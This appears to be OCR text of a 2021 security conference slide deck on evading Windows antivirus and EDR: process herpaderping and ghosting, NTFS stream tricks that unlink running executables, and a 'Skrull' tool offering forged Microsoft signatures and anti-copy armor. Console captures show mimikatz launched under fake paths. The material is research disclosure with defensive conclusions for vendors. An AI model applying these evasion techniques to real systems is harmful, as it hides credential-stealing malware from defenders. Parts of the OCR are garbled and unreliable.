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Skrull Like A King !
e EEETHIXRIRMERIR L EE

aaaddressi@chroot.org



Threat Researcher at TXOne Networks
of CHROOT Security Group
in reverse engineering, Windows 1/ |
vulnerability, and Intel 8086. |

at S&P, BlackHat, DEFCON, HITB, HITCON, VXCON,
ROOTCON, CYBERSEC, SITCON, etc.

of Ministry of National Defense, Ministry of
Education, HITCON, and etc.

& S4LJIC N\ 1Y SMOPULN S

APT Warfare

il
BIRBTIER

s
ABEAAR: BENSITAUSHER  WFSEEIRCRRL

2
S

Windows APT Warfare S8 S A2\ I ARELITTE RS

(o) TR
s SO >
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Background




& Windows Task Manager

File Options View Windows Help

d

Applications} Processes | Services | Performance | Networking

Image Name CPU Memory Command Line

paexec.exe 146 K C:\Windows\paexec.exe
hmpsched.exe C:\Program Files\HitmanPro\hmpsched.exe

svchost.exe C:\Windows\System32\svchost.exe
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(1) 57 security vendors flagged this file as malicious

c2cf2118550a0fd7f81fe9913fe3bbe24c03a0ae5430b%4557e0ee71c550a58¢

peexs




c2cf2118550a0fd7f81feq

peexe

5430b%94557e0ee71c550a58c¢C




* Signature-Patterns Scanning e.g. YARA
* ML: Heuristic-Detection e.g. SVM
* Virtual Machine (VM)
—_— * Regular Schedule Service
W, * Minifilter & PsSetCreateProcessNotifyRoutine
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e Signature-Patterns Scanning e.g. YARA
* ML: Heuristic-Detection e.g. SVM
* Virtual Machine (VM)
—_— * Regular Schedule Service
W, * Minifilter & PsSetCreateProcessNotifyRoutine
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e Signature-Patterns Scanning e.g. YARA
* ML: Heuristic-Detection e.g. SVM
e Virtual Machine (VM)
—_— * Regular Schedule Service
W, * Minifilter & PsSetCreateProcessNotifyRoutine

10 | April21,2021 txOne
networks




e Signature-Patterns Scanning e.g. YARA
* ML: Heuristic-Detection e.g. SVM
* Virtual Machine (VM)
—_— * Regular Schedule Service
W, * Minifilter & PsSetCreateProcessNotifyRoutine
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FHARS

FERARSAENHS - FRESECHEE—R > MBEURENRBHERIBINHSE -
B—ETSOERTD - MSORBHHRA—1% - HRBHEERSHNHSRIERSA - B
E—ERENZER | WWhalefREKHIR.COMIER » LT RAKIIBRMNFSE - MFlipfs
SRIRA2 bytetI KBRS (FEEERIARWERBEELEK) -

Signature-Patterns Scanning e.g. YARA
ML: Heuristic-Detection e.g. SVM
Virtual Machine (VM)

Regular Schedule Service
Minifilter & PsSetCreateProcessNotifyRoutine
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. AV/EDR Real-Time Scan

The Treasure left since XP: CreateProcessEx
Force Unlink: Abuse NTFS Streams to Unlink()

- Skrull DRV 1 N B & Anti-Copy Malware

Conclusion

N\~

m O Ow >
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The Treasure left since XP




Co\ficr e
\flshflsh.exe 80t clickeq

EXE File Explorer
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C\ficrr
\flshflsh.exe 80t clickeq

EXE File [ Explorer

~ kernel32!CreateProcessh
kernel32!CreateProcessInternalW

16 April 21, 2021 tExOne
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C:\fishfish oy

© 80t clickey) Process

EXE File Explorer

kernel32!CreateProcessW

kernel32!CreateProcessInternall

fileptr = fopen( "C:\fishfish.exe" )

ntdll!ZwCreateProcessEx( section )

file mapping (fishfish.exe)
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C:\fishfi ish.€**
is A fighfish: /1
N.exe 80t clickeq MCNRST Ly exe NP ! Process

> WorkDirs = .ImageBase <

EXE File Explorer L>

~ kernel32!CreateProcessh
kernel32!CreateProcessInternalW

create a PEB struct & write info manually
so we can make process path & cmdlinein in disguise :)
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Process

C\ficrr
\flshflsh.exe 80t clickeq

EXE File [Explorer L>

~ kernel32!CreateProcessh >
kernel32!CreateProcessInternalW

. ImageBase <
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| B mimikatz 2.2.0 x64 (oe.eo) = O X

CHEHHE mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53

N ##. “"A La Vie, A L'Amour” - (oe.eo)

## / \ ## /*** Benjamin DELPY "gentilkiwi~ ( benjamin@gentilkiwi.com )

#H \ / ## > https://blog.gentilkiwi.com/mimikatz

i v o dHE Vincent LE TOUX ( vincent.letoux@gmail.com )
" > https://pingcastle.com / https://mysmartlogon.com ***/

https://github.com/aaaddress1/PROCESS

| P& C\Users\aaaddress1\powershell.exe

mimikatz #

indows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

S C:\Users\aaaddressl> .\miniCreateProcessEx.exe
:\Users\aaaddressl\miniCreateProcessEx.exe [exe/to/run] [fake/file/path]

S C:\Users\aaaddress1l> .\miniCreateProcessEx.exe ~
>> <#exe/to/runi#t> "C:\toolchain\mimikatz_64.exe" ~
>> <#fake/path#> "C:\windows\explorer.exe"

[v] create section from C:\toolchain\mimikatz_64.exe
[v] locate entry @ c7578

[v] process (00000000000000A0) spawned from section!
[v] setup parameters for PEB ok.

[v] enjoy :)

PS C:\Users\aaaddressl>

20 | April 21,2021 tExOne
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https://github.com/aaaddress1/PROCESS

™ &

Threads Environment Job

Image

TCP/IP Security
Performance

Strings

Performance Graph GPU Graph

Process

yeah, got s:gned by M$

Image File N
: Windows Explorer a
(Verlfled) Microsoft Wmdo»
Version:  10.0.17763.1811 -
Build Time:

Path:

C:\Windows\explorer.exe Explore

Command line:

C:\windows\explorer.exe

Current directory: CHHHEHE
[Csersovaddress\ ] o S B
Autostart Location: H OO\ ##
r . HE \ / i
Task Scheduler\CreateExplorerShellUnelevatedTask Explore oy B
'

<Non-existent Process>(7616)

Parent:

21 April 21, 2021

LG EE T T

—| ~ explorer.exe
+! E¥ powershell.exe
+| 2 procexp.exe
mimikatz_64.exe
conhost.exe

B mimikatz 2.2.0 x64 (oe.eo)

<Filter by name>

Window Title

C:\Users\aaaddress1\Desktop\arsenal
C:\Users\aaaddress1\powershell.exe

mimikatz 2.2.0 x64 (oe.eo)

mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53

"A La Vie, A L'Amour"” - (oe.eo)

/*** Benjamin DELPY “gentilkiwi™ ( benjamin@gentilkiwi.com )
> https://blog.gentilkiwi.com/mimikatz '
Vincent LE TOUX ( vincent.letoux@gmail.
> https://pingcastle.com / https://mysmartlogon.cong
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Hey... Wait a minute. So where's the Antivirus?




Microsoft provides a set of APIs for security vendors, to monitor:

PsSetCreateProcessNotifyRoutineEx
PsSetCreateThreadNotifyRoutineEx
It's in Kernel, hard to unhook

Sure, Bad for attackers :(

| PsSetCreateProcessT\lo:cifyRohtineEx

functlon (ntddk h)

04/30/2018 = 2 v

The PsSetCreateProcessNotifyRoutineEx routine registers or removes a callback routine that notifies the

caller when a process is created or exits.

Syntax

C++

NTSTATUS PsSetCreateProcessNotifyRoutineEx(
PCREATE_PROCESS_NOTIFY_ROUTINE_EX NotifyRoutine,

BOOLEAN Remove
e

™ Copy




typedef struct _PS_CREATE_NOTIFY_INFO {
SIZE_T Size;
union {
ULONG Flags;

* Recive a PS_CREATE_NOTIFY_INFO struct struct {

ULONG FileFopenNameAvailable : 1;

* It's arecord about our child process ULONG IsSubsystemProcess : 1;
ULONG Reserved : 30;

i
};
. . HANDLE P tP Id;
...yes. it's the object, get by fopen() aemm CreatingThreadId;

struct _FILE_OBJECT *FileObject;
PCUNICODE_STRING ImageFileName;
PCUNICODE_STRING CommandLine;

We can fake it, not a problem ;) NTSTATUS CreationStatus;

24 April 21, 2021 tExOne
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"EXE
EXE File Explorer

you'll say:
hey it's easy,
should be here right?

kernel32!CreateProcessW

kernel32!CreateProcessInternall

filePtr = fopen( "C:\fishfish.exe" )
ntdll!ZwCreateProcesskEx( section )

ntdll!RtlCreateProcessParametersEx

ntdll!ZwCreateThreadEx

txOne
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kernel32!CreateProcessW

kernel32!CreateProcessInternall

EXE
EXE File Explorer
filePtr = fopen( "C:\fishfish.exe" )
ntdll!ZwCreateProcesskEx( section )
ntdll!RtlCreateProcessParametersEkx
you'll say: ntdll!ZwCreateThreadEx

hey it's easy,
should be here right?




B ..

Explorer

("’_

EXE File

typedef struct
- SIZE_T

| union {

| ULONG Flags;
| struct {

_PS_CREATE_NOTIFY_INFO { |

Size;

ULONG FileFopenNameAvailable : 1;
ULONG IsSubsystemProcess : 1;

ULONG Reserved : 30;

};
};
HANDLE ParentProcessId;
CLIENT_ID CreatingThreadld;
struct _FILE_OBJECT *FileObject;
PCUNICODE_STRING ImageFileName;
PCUNICODE_STRING CommandLine;
NTSTATUS CreationStatus;

ntdll'ZwCreateUserProcess (Win7+) -

scan fopened file
& the files listed in PEB




Attacker  dummy.txt

filePtr = fopen( "dummy.txt" , "wb")
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Process
(dummy. txt)

yeah! so mimikatz
landed into the process

N~

Attacker  dummy.txt

filePtr = fopen( "dummy.txt" , "wb")

WriteFile( filePtr, mimikatz, ... )
ntdll!ZwCreateProcesseEx( section )

29 April 21, 2021 tExOne
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"A Process
AAAAAAAAAAAA" (dummy . txt)

Attacker  dummy.txt

filePtr = fopen( "dummy.txt" , "wb")

WriteFile( filePtr, mimikatz, ... )
ntdll!ZwCreateProcesseEx( section )

WriteFile( filePtr, "AAAAAA..." )
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Process
(dummy.txt)

Attacker  dummy.txt

G

>
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by this trick, S
_ rocess
AV/EDR always scan the wrong file (dummy.txt)
(not the file run as the process)

Attacker  dummy.txt

G

>

32 April 21, 2021 tExOne
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‘ d mlmlkatz 2.2.0 x64 (oe.e0) — O X

l

CHEHEE mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
HE M ##. "A La Vie, A L'Amour™ - (oe.eo0)

## / \ ## /*** Benjamin DELPY “gentilkiwi® ( benjamin@gentilkiwi.com )

https://github.com/aaaddress1/PROCESS ## \ / ## > https://blog.gentilkiwi.com/mimikatz
"#E v #E#' Vincent LE TOUX ( vincent.letoux@gmail.com )
‘HEHEE > https://pingcastle.com / https://mysmartlogon.com ***/

\ . C.\Users\aaaddress1\powershell exe

imikatz # _

Windows PowerShell - — i -
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\aaaddress1> .\herpaderping.exe
C:\Users\aaaddressl\herpaderping.exe [exe/to/run] [fake/file/path]

\PS C:\Users\aaaddressl> .\herpaderping.exe )
>> <#Hexe/to/run#> "C \toolchain\mimikatz 64.exe" )
>> <#fake/path#> "C: \Hlndous\System32\mspa1nt exe"

[v] generate dummy file at C:\Users\aaaddressl\AppData\Roaming\dummy.txt
i[v] copy PE data from source to dummy file

[v] locate entry @ c7578

[v] create section from C:\toolchain\mimikatz_64.exe

[v] process (©0000000000000AC) spawned from section!

[v] setup parameters for PEB ok.

[v] enjoy :)

PS C:\Users\aaaddressl> _
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https://github.com/aaaddress1/PROCESS
o &

GPU Graph  Threads TCP/IP Security Environment Job Strings
Image Performance Performance Graph Disk and Network

Process Window Title
+  explorer.exe aaaddress|
) + 7 procexp.exe
Version: 3. e— = e dummy.txt mimikatz 2.2.0 x64 (oe.eo0)
Build Time: conhost.exe
Path:

C:\Windows\System32\mspaint.exe Explore

Image File

d mimikatz 2.2.0 x64 (oe.eo)

Command line: JEEHE.  mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19
C:\Windows\System32\mspaint.exe H# M~ ##. "A La Vie, A L'Amour” - (oe.eo0)
Current directory: ## / \ ## /*** Benjamin DELPY “gentilkiwi® ( benjamin@g
C:\Users\aaaddress 1) t## \ #4?

## v ##
Autostart Location: ‘HEEEE"

n/a
mimikatz # _

Parent: <Non-existent Process >(6134)
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"Lost in Transaction: Process Doppelganging" by @Tal Liberman

m , "wb")
* Osiris banking Trojan FlePtr = fopen( "OUTEE
* Herpaderping by @jxy__s = S nimikatz
* Process Ghosting by @GabrielLandau WrueFue(

dummy.txt

* the well-known Minifilter
* provide Defender with the ability to scan written files of NTFS

35 April 21, 2021 txOne
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Fileless

Do we really need a file to run the process?




/-\

# using SetFileInformationByHandle,
Attacker # mark it as a temporary (delete-on-close) file.

dummy.txt
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Attacker

As a result, we're indeed writing malware payload in files on NTFS
but Defender cannot access or scan until we close it :)

dummy.txt
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Process
(dummy.txt)

Attacker

dummy.txt
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Process
(dummy.txt)

Attacker

Jummy.txt

# it's temporary, right?
# the file vanish, once got closed
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Process
(dummy.txt)

Attacker

Jummy.txt
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Writerile( fileptr, minikatz, ... )
Attacker ntdULtZuCreateProcessEx( section )

* e
(dummy.txt)

)

© ntdllizuclose( Fileptr )
ntdULIRELCreateProcessParaneter stx
ntdULizuCreateThreadex

Jummy.txt

?

" by this trick
AV/EDR *ALWAYS* scan a non-existent file

nnnnnnnn



https://github.com/aaaddress1/PROCESS

<Filter by name >

Process Window Title
* - explorer.exe Program Manager

name? no, it's fileless :) pnc T

¥ mimikatz 2.2.0 x64 (oe.e0)

mimikatz 2.2.0 (x64) #190641 Aug 106 2021 17:19:53
HE N ##. "A La Vie, A L'Amour”™ - (oe.eo0)
## / \ ## /*** Benjamin DELPY “gentilkiwi™ ( benjamin@gentilkiwi.com )
## 0\ / ## > https://blog.gentilkiwi.com/mimikatz
"#E v ##' Vincent LE TOUX ( vincent.letoux@gmail.com
THEHEE > https://pingcastle.com / https://mysmartlogon.com **§

mimikatz #
More details End task
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"What you need to know about Process Ghosting, a new executable

image tampering attack"” by @GabrielLandau

— New ldea: Run ourself like a ghost, without Custom-Launcher?
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Arbitrary Unlink

Yes, unlink all the files. even a running process




v'v C:\Users\aaaddress1\Downloads

. & > v A 4 < aaad.. » Downloads v O
C:\Users\aaaddressi\Downloads N
A dir /r
Volume in drive C has no label.
Volume Serial Number is AC47-82F0©

. PoC.zip:Zone.ldentifier - Notepad

Directory of C:\Users\aaaddressi\Downloads " . . .
. File Edit Format View Help
09/22/2021 11:16 AM  <DIR> : PoC.zip [ZoneTransfer]
09/22/2021 11:16 AM  <DIR> .. oneld=3
09/22/20621 11:16 AM 173,912 PoC.zip
YRR e loaTsl: 7one . Identifier: $DATA 1item |

1 File(s) 173,912 bytes
2 Dir(s) 125,645,664,256 bytes free
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C:\tmp
A type C:\picaball.exe > dummy.txt:pika

2 i.0,©,,31@EP"AEPU".0 = O X N c.\mp

A file dummy.txt
dummy.txt: ASCII text, with no line terminators

C:\tmp

A wmic process call create [N AYIIIlI\ IR g
Executing (Win32 Process)->Create()

Method execution successful.

Out Parameters:

instance of _ PARAMETERS

{
ProcessId = 5380;
ReturnValue = 9;
};
C:\tmp

A rm dummy.txt

C:\tmp
A file dummy.txt
dummy.txt: cannot open “dummy.txt® (No such file or directory)

iy April 21, 2021 tExOne
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Write malware to arbitrary stream of innocent files
& Run it as a single process

C:\tmp '
;% type C:\picaball.exe > dummy.txt:pika

I ii0,©,;,31@EP°AEPU*-0 — O X r"ic :\tmp
: N file dummy.txt
dummy.txt: ASCII text, with no line terminators

:\tmp
wmic process call create [SERNSIsRYIFlulI\IR®:

t:
ethod execution successful.

Out Parameters:

hnstance of _ PARAMETERS

ProcessId = 5380;
ReturnValue = 9;

C:\tmp
A rm dummy.txt

C:\tmp
A file dummy.txt
dummy.txt: cannot open “dummy.txt® (No such file or directory)

48 April 21, 2021 tExOne
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= File In Use — X

The action can't be completed because the file is open in PIKA_V

1. open the file with the DELETE flag [l

picaball.exe

2. relocate EXE data from main = ¢ File description: PIKA_V
stream to another one > '}j Fe o 1002
. 4 ¥oi Date created: 9/22/2021 11:59 AM
3. yes. we can delete it now :) Size: 153 K

Try Again Cancel
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Malware.exe ::SDATA

Attacker

Malware Dropping & Run

50 April 21, 2021



e . Malware.exe * ::SDATA
:dummy:SDATA

Attacker v

|

09/22/20621 ©1:49 PM <DIR>

09/22/2021 ©1:49 PM <DIR> - -

©9/22/2021 ©1:49 PM © picaball.exe
156,672 picaball.exel«iy

Directory of C:\tmp

. i # using SetFileInformationByHandle, relocate the daté to the dummy stream
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Malware.exe ::SDATA

:dummy:SDATA
Attacker v

Directory of C:\tmp

09/22/2021 ©1:49 PM <DIR>
09/22/20621 ©1:49 PM <DIR>

©9/22/2021 ©1:49 PM © picaball.exe
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Malware.exe
Attacker \V :dummy:SDATA i

. :SDATA

. during AV/EDR scheduled scanning,
— always fetch the EXE data from the main stream

?
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https://github.qom/aaaddressl/SkruII

7= % AR A
!w l#w‘l" Yop
g ' A Skrull.exe

Skrull 1.8BETA ( github.com/aaaddress1/Skrull )
Usage: skrull [option] <exePath>

Option o
-5, --sign give the EXE file a Microsoft signature
-a, --armor make the EXE file get an anti-copy armor <
-u, --unlink remove EXE files on NTFS, like fileless ;)

C:\Users\aaaddressi\Desktop
A Skrull --sign picaball.exe
[v] select C:\Users\aaaddressl\Desktop\picaball.exe

[ Digital Signature Details ? X

Security General Advanced

General
Digital Signature Information

File Unlink & Forged Sign = R —

Name of signer:

Signer information

Name: Microsoft Windows
E-mail: Not available
Signing time: Saturday, July 31, 2021 4:53:02PM

Microsoft Windows §
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Fileless Malware Launcher: to Armor Malware and Deploy on Victim



most AV/EDR embedded the feature as
default e.g. Windows Defender

Invoke when attackers carelessly do the
suspicious behaviors

AV/EDR keep eyes on attackers by
collecting those dropped files & analysis

Fileless is cool. but attackers need to
deploy persistent trojan for long-term
monitoring

— Find a method to let the files naturally
broken when submitted?

56 | April 21,2021

Windows Security — O

é

Automatic sample submission

Send sample files to Microsoft to help protect you and others from
potential threats. We'll prompt you if the file we need is likely to
contain personal information.

® On

Controlled folder access

Protect files, folders, and memory areas on your device from
unauthorized changes by unfriendly applications.
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57

Running Malware by Process-Ghosting method
The Launch couldn't copied to another environment
Easy for attackers to run malware persistently & evade AV/EDR

* User Name, System Version, CPU count, etc.
* Should not be reproduced on the different environment

* EXE files will be naturally broken when copied

April 21, 2021
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Skrull.exe Collect Unique Features on victim

Reassemble & Armor itself

Attacker
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run laU“Cher

Skrull. exe
(Persistence & Anti- Copy

Attacker

o

Malware.exe
(Fileless)
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n launcher

ru

SkruII.exe\?_
(Persistence & anticony T gsgggnble N ATROR EESELE

O

Attacker )

ot

.\ e°
e \Le(\ ©
53\‘\9 of 0

Malware.exe
AV/EDR Lab (Fileless)
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https://github.com/aaaddress1/Skrull
\‘»“ Cmder - O X
i
|
§ C:\Users\aaaddressi\Desktop
i A Skrull
| Skrull 1.@BETA ( github.com/aaaddressi/Skrull ) 4
| Usage: skrull [option] <exePath> |
|
Option |
Ska”: Malware DRM | -5, --sign give the EXE file a Microsoft signature
-a, --armor make the EXE file get an anti-copy armor

-u, --unlink remove EXE files on NTFSHESUCERSEEIIIIIEY
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Conclusion




Attackers can abuse temporary files to create processes that
will not be scanned by AV/EDR Real-Time Scan

Delete running programs by migrating data between NTFS streams

Malware rebuild itself before being submitted by AV/EDR, so it can
perfectly resist follow-up analysis by researchers

A. shouldn't assume all running process must have EXE file on NTFS

B. shouldn't only scan for files on NTFS, but also for running processes, to
prevent fileless & DRM attacks
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